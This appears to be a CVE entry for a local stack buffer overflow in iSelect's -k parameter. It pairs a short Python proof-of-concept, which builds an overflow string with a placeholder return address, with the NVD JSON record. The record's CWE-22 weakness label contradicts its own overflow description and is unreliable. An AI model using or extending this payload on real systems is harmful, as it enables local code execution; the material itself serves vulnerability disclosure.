CVE-2016-20048

#!/usr/bin/env python3 # PoC for CVE-2016-20048 (iSelect Local Buffer Overflow) # This script generates a payload to crash the application via the -k parameter. import sys # The buffer size is 1024 bytes. We need to overflow it to overwrite the return address. # Offset to overwrite EIP (Example value, real offset depends on the binary version) offset = 1036 # Payload construction # 1. Padding (NOP sled or 'A's) padding = b"A" * offset # 2. Return Address (Placeholder 0x41414141) ret_addr = b"\x41\x41\x41\x41" payload = padding + ret_addr print(f"[+] Generating PoC payload for CVE-2016-20048...") print(f"[+] Payload length: {len(payload)} bytes") print(f"[+] Usage: iselect -k '{payload.decode('latin-1')}'")

{"cve": {"id": "CVE-2016-20048", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:01.210", "lastModified": "2026-05-01T15:21:32.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "iSelect 1.4.0-2+b1 contains a local buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an oversized value to the -k/--key parameter. Attackers can craft a malicious argument containing a NOP sled, shellcode, and return address to overflow a 1024-byte stack buffer and gain code execution with user privileges."}, {"lang": "es", "value": "iSelect 1.4.0-2+b1 contiene una vulnerabilidad de desbordamiento de búfer local que permite a atacantes locales ejecutar código arbitrario al proporcionar un valor excesivamente grande al parámetro -k/--key. Los atacantes pueden elaborar un argumento malicioso que contenga un NOP sled, shellcode y una dirección de retorno para desbordar un búfer de pila de 1024 bytes y obtener ejecución de código con privilegios de usuario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "http://www.ossp.org/pkg/tool/iselect/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/41076", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/iselect-2-b1-local-buffer-overflow-via-key-parameter", "source": "[email protected]"}]}}